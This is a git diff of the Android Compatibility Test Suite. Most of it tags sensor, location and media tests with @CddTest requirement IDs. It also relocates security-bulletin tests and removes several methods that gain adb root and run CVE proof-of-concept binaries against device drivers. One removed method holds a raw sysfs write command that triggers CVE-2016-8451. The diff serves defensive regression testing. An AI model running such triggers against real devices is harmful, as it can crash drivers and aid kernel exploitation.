rename from hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/poc.c
similarity index 100%
rename from hostsidetests/security/securityPatch/CVE-2016-8482/poc.c
rename to hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/poc.c
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
similarity index 100%
rename from hostsidetests/security/src/android/security/cts/AdbUtils.java
rename to hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
similarity index 100%
rename from hostsidetests/security/src/android/security/cts/Poc16_10.java
rename to hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
similarity index 64%
rename from hostsidetests/security/src/android/security/cts/Poc16_12.java
rename to hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
index 7e24e8f..b39eacb 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -138,74 +138,8 @@
}
}
- /**
- * b/32700935
- */
- @SecurityTest
- public void testPocCVE_2016_8435() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-8435", getDevice(), 60);
- }
- }
-
- /**
- * b/31568617
- */
- @SecurityTest
- public void testPocCVE_2016_9120() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/ion")) {
- AdbUtils.runPoc("CVE-2016-9120", getDevice(), 60);
- }
- }
-
//Highs
/**
- * b/31225246
- */
- @SecurityTest
- public void testPocCVE_2016_8412() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev7")) {
- AdbUtils.runPoc("CVE-2016-8412", getDevice(), 60);
- }
- }
-
- /**
- * b/31243641
- */
- @SecurityTest
- public void testPocCVE_2016_8444() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev17")) {
- AdbUtils.runPoc("CVE-2016-8444", getDevice(), 60);
- }
- }
-
- /**
- * b/31791148
- */
- @SecurityTest
- public void testPocCVE_2016_8448() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
- AdbUtils.runPoc("CVE-2016-8448", getDevice(), 60);
- }
- }
-
- /**
- * b/31798848
- */
- @SecurityTest
- public void testPocCVE_2016_8449() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/tegra_avpchannel")) {
- AdbUtils.runPoc("CVE-2016-8449", getDevice(), 60);
- }
- }
-
- /**
* b/31668540
*/
@SecurityTest
@@ -217,37 +151,6 @@
}
/**
- * b/32402548
- */
- @SecurityTest
- public void testPocCVE_2017_0403() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2017-0403", getDevice(), 60);
- }
-
- /**
- * b/32510733
- */
- @SecurityTest
- public void testPocCVE_2017_0404() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/proc/asound/version")) {
- AdbUtils.runPoc("CVE-2017-0404", getDevice(), 60);
- }
- }
-
- /**
- * b/32178033
- */
- @SecurityTest
- public void testPocCVE_2016_8451() throws Exception {
- enableAdbRoot(getDevice());
- String command =
- "echo AAAAAAAAA > /sys/devices/f9924000.i2c/i2c-2/2-0070/power_control";
- AdbUtils.runCommandLine(command, getDevice());
- }
-
- /**
* b/32659848
*/
@SecurityTest
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
similarity index 77%
rename from hostsidetests/security/src/android/security/cts/Poc17_01.java
rename to hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index f8ed22a..934cacd 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -30,15 +30,4 @@
AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
}
}
-
- /**
- * b/32636619
- */
- @SecurityTest
- public void testPocCVE_2017_0429() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvhost-as-gpu")) {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
- }
- }
}
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
similarity index 100%
rename from hostsidetests/security/src/android/security/cts/SecurityTestCase.java
rename to hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index 6216995..eba697ed 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -44,6 +44,8 @@
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Test to check non-modifiable themes have not been changed.
*/
@@ -187,7 +189,7 @@
super.tearDown();
}
-
+ @CddTest(requirement="3.8.6/C-1-1,C-1-2")
public void testThemes() throws Exception {
if (checkHardwareTypeSkipTest(mHardwareType)) {
Log.logAndDisplay(LogLevel.INFO, LOG_TAG,
diff --git a/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java b/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
index 6b99c20..7814dda 100644
--- a/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
+++ b/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
@@ -26,6 +26,7 @@
import android.content.IntentFilter;
import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.MeasureRun;
@@ -69,6 +70,7 @@
super.tearDown();
}
+ @CddTest(requirement="8.1/H-0-3")
public void testMeasureTaskSwitching() throws Exception {
final int NUMBER_REPEAT = 10;
final int SWITCHING_PER_ONE_TRY = 10;
diff --git a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
index fefa546..5c39649 100644
--- a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
@@ -150,7 +150,7 @@
}
}
- @CddTest(requirement="3.7")
+ @CddTest(requirement="3.7/C-0-2")
public void testGetMemoryClass() throws Exception {
int memoryClass = getMemoryClass();
int screenDensity = getScreenDensity();
diff --git a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
index 77852f1..5eb6955 100644
--- a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
@@ -41,6 +41,8 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Checks Sensor Direct Report functionality
*
@@ -76,6 +78,7 @@
* - testCloseWithoutConfigStop
* test a common mistake in API usage and make sure no negative effect is made to system.
*/
+@CddTest(requirement="7.3.9/C-3-1,C-3-2")
public class SensorDirectReportTest extends SensorTestCase {
private static final String TAG = "SensorDirectReportTest";
// nominal rates of each rate level supported
diff --git a/tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java b/tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java
index 11ac701..d097433 100644
--- a/tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorManagerStaticTest.java
@@ -22,8 +22,11 @@
import android.hardware.SensorManager;
import android.os.PowerManager;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.Random;
+@CddTest(requirement="7.3.1/C-1-3")
public class SensorManagerStaticTest extends SensorTestCase {
private static final String TAG = "SensorManagerTest";
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 62e7fe4..e88ecc0 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -22,7 +22,7 @@
import android.hardware.SensorManager;
import android.hardware.cts.helpers.SensorCtsHelper;
import android.text.TextUtils;
-
+import com.android.compatibility.common.util.CddTest;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.TimeUnit;
@@ -75,6 +75,7 @@
mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
}
+ @CddTest(requirement="7.3.9/C-2-1")
public void testAccelerometerRange() {
checkSensorRangeAndFrequency(
mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
@@ -83,6 +84,7 @@
ACCELEROMETER_MAX_FREQUENCY);
}
+ @CddTest(requirement="7.3.9/C-2-3")
public void testGyroscopeRange() {
checkSensorRangeAndFrequency(
mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE),
@@ -90,7 +92,7 @@
GYRO_MIN_FREQUENCY,
GYRO_MAX_FREQUENCY);
}
-
+ @CddTest(requirement="7.3.9/C-2-5")
public void testMagnetometerRange() {
checkSensorRangeAndFrequency(
mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD),
@@ -99,6 +101,7 @@
MAGNETOMETER_MAX_FREQUENCY);
}
+ @CddTest(requirement="7.3.9/C-2-7")
public void testPressureRange() {
if (mHasHifiSensors) {
checkSensorRangeAndFrequency(
@@ -129,11 +132,13 @@
maxFrequency - 0.1);
}
+ @CddTest(requirement="7.3.9/C-2-1")
public void testAccelerometerFifoLength() throws Throwable {
if (!mHasHifiSensors) return;
checkMinFifoLength(Sensor.TYPE_ACCELEROMETER, ACCELEROMETER_MIN_FIFO_LENGTH);
}
+ @CddTest(requirement="7.3.9/C-2-6")
public void testUncalMagnetometerFifoLength() throws Throwable {
if (!mHasHifiSensors) return;
checkMinFifoLength(
@@ -141,21 +146,25 @@
UNCAL_MAGNETOMETER_MIN_FIFO_LENGTH);
}
+ @CddTest(requirement="7.3.9/C-2-7")
public void testPressureFifoLength() throws Throwable {
if (!mHasHifiSensors) return;
checkMinFifoLength(Sensor.TYPE_PRESSURE, PRESSURE_MIN_FIFO_LENGTH);
}
+ @CddTest(requirement="7.3.9/C-2-8")
public void testGameRotationVectorFifoLength() throws Throwable {
if (!mHasHifiSensors) return;
checkMinFifoLength(Sensor.TYPE_GAME_ROTATION_VECTOR, GAME_ROTATION_VECTOR_MIN_FIFO_LENGTH);
}
+ @CddTest(requirement="7.3.9/C-2-17")
public void testProximityFifoLength() throws Throwable {
if (!mHasHifiSensors) return;
checkMinFifoLength(Sensor.TYPE_PROXIMITY, PROXIMITY_SENSOR_MIN_FIFO_LENGTH);
}
+ @CddTest(requirement="7.3.9/C-2-10")
public void testStepDetectorFifoLength() throws Throwable {
if (!mHasHifiSensors) return;
checkMinFifoLength(Sensor.TYPE_STEP_DETECTOR, STEP_DETECTOR_MIN_FIFO_LENGTH);
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
index 09e4711..cad33ee 100644
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -20,6 +20,7 @@
import android.content.pm.PackageManager;
import android.hardware.Sensor;
import android.hardware.SensorManager;
+import com.android.compatibility.common.util.CddTest;
/**
* Checks if Hifi sensors or VR High performance mode sensors
@@ -34,6 +35,7 @@
* -w android.hardware.cts/android.test.AndroidJUnitRunner
* </pre>
*/
+@CddTest(requirement="7.3.9")
public class SensorSupportTest extends SensorTestCase {
private SensorManager mSensorManager;
private boolean mAreHifiSensorsSupported;
@@ -51,46 +53,57 @@
}
}
+ @CddTest(requirement="7.3.9/C-2-1")
public void testSupportsAccelerometer() {
checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
}
+ @CddTest(requirement="7.3.9/C-2-3")
public void testSupportsGyroscope() {
checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
}
+ @CddTest(requirement="7.3.9/C-2-4")
public void testSupportsGyroscopeUncalibrated() {
checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
}
+ @CddTest(requirement="7.3.9/C-2-5")
public void testSupportsGeoMagneticField() {
checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
}
+ @CddTest(requirement="7.3.9/C-2-6")
public void testSupportsMagneticFieldUncalibrated() {
checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
}
+ @CddTest(requirement="7.3.9/C-2-7")
public void testSupportsPressure() {
checkSupportsSensor(Sensor.TYPE_PRESSURE);
}
+ @CddTest(requirement="7.3.9/C-2-8")
public void testSupportsRotationVector() {
checkSupportsSensor(Sensor.TYPE_ROTATION_VECTOR);
}
+ @CddTest(requirement="7.3.9/C-2-9")
public void testSupportsSignificantMotion() {
checkSupportsSensor(Sensor.TYPE_SIGNIFICANT_MOTION);
}
+ @CddTest(requirement="7.3.9/C-2-10")
public void testSupportsStepDetector() {
checkSupportsSensor(Sensor.TYPE_STEP_DETECTOR);
}
+ @CddTest(requirement="7.3.9/C-2-11")
public void testSupportsStepCounter() {
checkSupportsSensor(Sensor.TYPE_STEP_COUNTER);
}
+ @CddTest(requirement="7.3.9/C-2-12")
public void testSupportsTiltDetector() {
final int TYPE_TILT_DETECTOR = 22;
checkSupportsSensor(TYPE_TILT_DETECTOR);
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index 11ead36..18ac448 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -51,6 +51,9 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.3/C-0-2,C-0-1")
public class SensorTest extends SensorTestCase {
private static final String TAG = "SensorTest";
@@ -115,6 +118,7 @@
}
}
+ @CddTest(requirement="7.3/C-0-1")
@SuppressWarnings("deprecation")
public void testSensorOperations() {
// Because we can't know every sensors unit details, so we can't assert
@@ -189,6 +193,7 @@
}
}
+ @CddTest(requirement="7.3/C-0-2")
public void testValuesForAllSensors() {
for (Sensor sensor : mSensorList) {
assertSensorValues(sensor);
@@ -207,6 +212,7 @@
// Some sensors like proximity, significant motion etc. are defined as wake-up sensors by
// default. Check if the wake-up flag is set correctly.
+ @CddTest(requirement="7.3/C-0-2")
@Presubmit
public void testWakeUpFlags() {
final int TYPE_WAKE_GESTURE = 23;
diff --git a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
index a626957..cd28a83 100644
--- a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
+++ b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
@@ -17,14 +17,14 @@
package android.hardware.cts;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.hardware.Sensor;
import android.hardware.SensorManager;
import android.hardware.cts.helpers.SensorCtsHelper;
import android.hardware.cts.helpers.SensorStats;
import android.hardware.cts.helpers.TestSensorEnvironment;
import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
-import android.content.pm.PackageManager;
-
+import com.android.compatibility.common.util.CddTest;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
@@ -85,6 +85,7 @@
* running, or if the sensor's sampled data indeed falls into a large standard deviation.
* </p>
*/
+@CddTest(requirement="7.3.1/H-1-1,C-1-1,C-1-6,C-3-1,C-4-1,7.3.2/H-1-1,C-1-2,C-1-4,C-1-9,C-2-1,7.3.4/H-1-1,T-1-1,A-1-1,C-1-1,C-1-2,C-1-3,C-1-7,C-2-1,C-3-1,7.3.5/C-1-1,C-1-2,7.3/C-1-7,7.3/C-1-2")
public class SingleSensorTests extends SensorTestCase {
private static final String TAG = "SingleSensorTests";
diff --git a/tests/signature/DynamicConfig.xml b/tests/signature/DynamicConfig.xml
index 5f0fcac..0ba7dbd 100644
--- a/tests/signature/DynamicConfig.xml
+++ b/tests/signature/DynamicConfig.xml
@@ -19,6 +19,8 @@
Bug: 36977779 android.intent.action.MASTER_CLEAR
Bug: 38182465 android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED
Bug: 70315695 android.intent.action.HDMI_PLUGGED
+ Bug: 113551146 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
+ Will be removed after v17 of CS.apk is released.
-->
<dynamicConfig>
<entry key ="intent_whitelist">
@@ -26,5 +28,6 @@
<value>android.intent.action.QUICKBOOT_POWERON</value>
<value>android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED</value>
<value>android.intent.action.HDMI_PLUGGED</value>
+ <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
</entry>
</dynamicConfig>
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 9dafaca..78f2e63 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -57,6 +57,9 @@
import java.io.RandomAccessFile;
import java.util.concurrent.CountDownLatch;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="5.1.5/C-0-1,C-0-2,C-0-3,C-0-4,C-0-5")
@SmallTest
@RunWith(AndroidJUnit4.class)
public class BitmapFactoryTest {
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
index 3411914..0a341cd 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -21,6 +21,8 @@
import android.location.LocationManager;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Test the {@link Location} values.
*
@@ -65,6 +67,13 @@
* only test them if the hardware is later than 2017
*/
public void testAccuracyFields() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+ TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, isCtsVerifierTest())) {
+ return;
+ }
+
SoftAssert softAssert = new SoftAssert(TAG);
mTestLocationManager.requestLocationUpdates(mLocationListener);
boolean success = mLocationListener.await();
@@ -82,6 +91,7 @@
softAssert.assertAll();
}
+ @CddTest(requirement="7.3.3/C-3-4")
public static void checkLocationAccuracyFields(SoftAssert softAssert,
Location location, boolean extendedLocationAccuracyExpected) {
softAssert.assertTrue("All locations generated by the LocationManager "
@@ -124,6 +134,13 @@
* check whether all fields' value make sense
*/
public void testLocationRegularFields() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+ TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, isCtsVerifierTest())) {
+ return;
+ }
+
mTestLocationManager.requestLocationUpdates(mLocationListener);
boolean success = mLocationListener.await();
SoftAssert.failOrWarning(isMeasurementTestStrict(),
@@ -188,4 +205,4 @@
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
index 2457c76..00d7b8a 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementRegistrationTest.java
@@ -23,6 +23,8 @@
import java.util.List;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Test for {@link GnssMeasurement}s without location registration.
*
@@ -77,6 +79,7 @@
/**
* Test GPS measurements registration.
*/
+ @CddTest(requirement="7.3.3/C-2-1")
public void testGnssMeasurementRegistration() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index ec78ea3..03cafb6 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -85,7 +85,7 @@
* It only performs sanity checks for the measurements received.
* This tests uses actual data retrieved from Gnss HAL.
*/
- @CddTest(requirement="7.3.3")
+ @CddTest(requirement="7.3.3/C-2-2")
public void testPseudorangeValue() throws Exception {
// Checks if Gnss hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
@@ -228,7 +228,7 @@
* Use pseudorange calculation library to calculate position then compare to location from
* Location Manager.
*/
- @CddTest(requirement="7.3.3")
+ @CddTest(requirement="7.3.3/C-2-2")
public void testPseudoPosition() throws Exception {
// Checks if Gnss hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssTtffTests.java b/tests/tests/location/src/android/location/cts/GnssTtffTests.java
index 335de07..90a363a 100644
--- a/tests/tests/location/src/android/location/cts/GnssTtffTests.java
+++ b/tests/tests/location/src/android/location/cts/GnssTtffTests.java
@@ -40,7 +40,7 @@
* connection should not matter hence one threshold is used.
* @throws Exception
*/
- @CddTest(requirement="7.3.3")
+ @CddTest(requirement="7.3.3/C-1-2")
public void testTtffWithNetwork() throws Exception {
ensureNetworkStatus();
if (hasCellularData()) {
@@ -183,4 +183,4 @@
.getSystemService(Context.CONNECTIVITY_SERVICE);
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
index 12432d6..04d8650 100644
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
@@ -31,6 +31,8 @@
import android.util.Log;
import android.view.Surface;
+import com.android.compatibility.common.util.CddTest;
+
import android.opengl.GLES20;
import javax.microedition.khronos.opengles.GL10;
@@ -235,35 +237,82 @@
public void testMpeg4_adaptiveSkipBack() { ex(Mpeg4(), adaptiveSkipBack); }
public void testH263_adaptiveSkipBack() { ex(H263(), adaptiveSkipBack); }
+ @CddTest(requirement="5.3/C-1-1")
public void testH264_adaptiveReconfigDrc() { ex(H264(), adaptiveReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testHEVC_adaptiveReconfigDrc() { ex(HEVC(), adaptiveReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveReconfigDrc() { ex(VP8(), adaptiveReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveReconfigDrc() { ex(VP9(), adaptiveReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testMpeg4_adaptiveReconfigDrc() { ex(Mpeg4(), adaptiveReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testH263_adaptiveReconfigDrc() { ex(H263(), adaptiveReconfigDrc); }
+ @CddTest(requirement="5.3/C-1-1")
public void testH264_adaptiveSmallReconfigDrc() { ex(H264(), adaptiveSmallReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testHEVC_adaptiveSmallReconfigDrc() { ex(HEVC(), adaptiveSmallReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveSmallReconfigDrc() { ex(VP8(), adaptiveSmallReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveSmallReconfigDrc() { ex(VP9(), adaptiveSmallReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testMpeg4_adaptiveSmallReconfigDrc() { ex(Mpeg4(), adaptiveSmallReconfigDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testH263_adaptiveSmallReconfigDrc() { ex(H263(), adaptiveSmallReconfigDrc); }
+ @CddTest(requirement="5.3/C-1-1")
public void testH264_adaptiveDrc() { ex(H264(), adaptiveDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testHEVC_adaptiveDrc() { ex(HEVC(), adaptiveDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveDrc() { ex(VP8(), adaptiveDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveDrc() { ex(VP9(), adaptiveDrc); }
+
+ @CddTest(requirement="5.3.1/C-1-1")
public void testMpeg4_adaptiveDrc() { ex(Mpeg4(), adaptiveDrc); }
+
+ @CddTest(requirement="5.3.1/C-1-1")
public void testH263_adaptiveDrc() { ex(H263(), adaptiveDrc); }
+ @CddTest(requirement="5.3.1/C-1-1")
public void testH264_adaptiveDrcEarlyEos() { ex(H264(), new AdaptiveDrcEarlyEosTest()); }
+
+ @CddTest(requirement="5.3.1/C-1-1")
public void testHEVC_adaptiveDrcEarlyEos() { ex(HEVC(), new AdaptiveDrcEarlyEosTest()); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveDrcEarlyEos() { ex(VP8(), new AdaptiveDrcEarlyEosTest()); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveDrcEarlyEos() { ex(VP9(), new AdaptiveDrcEarlyEosTest()); }
+ @CddTest(requirement="5.3/C-1-1")
public void testH264_adaptiveSmallDrc() { ex(H264(), adaptiveSmallDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testHEVC_adaptiveSmallDrc() { ex(HEVC(), adaptiveSmallDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveSmallDrc() { ex(VP8(), adaptiveSmallDrc); }
+
+ @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveSmallDrc() { ex(VP9(), adaptiveSmallDrc); }
public void testH264_earlyEos() { ex(H264(), earlyEos); }
diff --git a/tests/tests/media/src/android/media/cts/AudioEffectTest.java b/tests/tests/media/src/android/media/cts/AudioEffectTest.java
index 9cb4ecf..c1c63b3 100644
--- a/tests/tests/media/src/android/media/cts/AudioEffectTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioEffectTest.java
@@ -74,7 +74,7 @@
//----------------------------------
//Test case 0.0: test queryEffects() and platfrom at least provides an Equalizer
- @CddTest(requirement="5.4.2/C-2-2")
+ @CddTest(requirement="5.4.2/C-2-2,5.5.2/C-1-1")
public void test0_0QueryEffects() throws Exception {
AudioEffect.Descriptor[] desc = AudioEffect.queryEffects();
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 60394be..564ab1a 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -36,6 +36,7 @@
import android.view.Surface;
import android.net.Uri;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
import com.android.compatibility.common.util.MediaUtils;
@@ -133,10 +134,13 @@
// errors with the standard decoders, plus 10%.
// This should allow for some variation in decoders, while still detecting
// phase and delay errors, channel swap, etc.
+ @CddTest(requirement="5.1.2/C-1-6")
public void testDecodeMp3Lame() throws Exception {
decode(R.raw.sinesweepmp3lame, 804.f);
testTimeStampOrdering(R.raw.sinesweepmp3lame);
}
+
+ @CddTest(requirement="5.1.2/C-1-6")
public void testDecodeMp3Smpb() throws Exception {
decode(R.raw.sinesweepmp3smpb, 413.f);
testTimeStampOrdering(R.raw.sinesweepmp3smpb);
@@ -149,15 +153,20 @@
decode(R.raw.sinesweepogg, 168.f);
testTimeStampOrdering(R.raw.sinesweepogg);
}
+
+ @CddTest(requirement="5.1.2/C-1-9")
public void testDecodeWav() throws Exception {
decode(R.raw.sinesweepwav, 0.0f);
testTimeStampOrdering(R.raw.sinesweepwav);
}
+
+ @CddTest(requirement="5.1.2/C-1-5")
public void testDecodeFlac() throws Exception {
decode(R.raw.sinesweepflac, 0.0f);
testTimeStampOrdering(R.raw.sinesweepflac);
}
+ @CddTest(requirement="5.1.2/C-1-6")
public void testDecodeMonoMp3() throws Exception {
monoTest(R.raw.monotestmp3, 44100);
testTimeStampOrdering(R.raw.monotestmp3);
@@ -186,10 +195,12 @@
testTimeStampOrdering(R.raw.sinesweeptsaac);
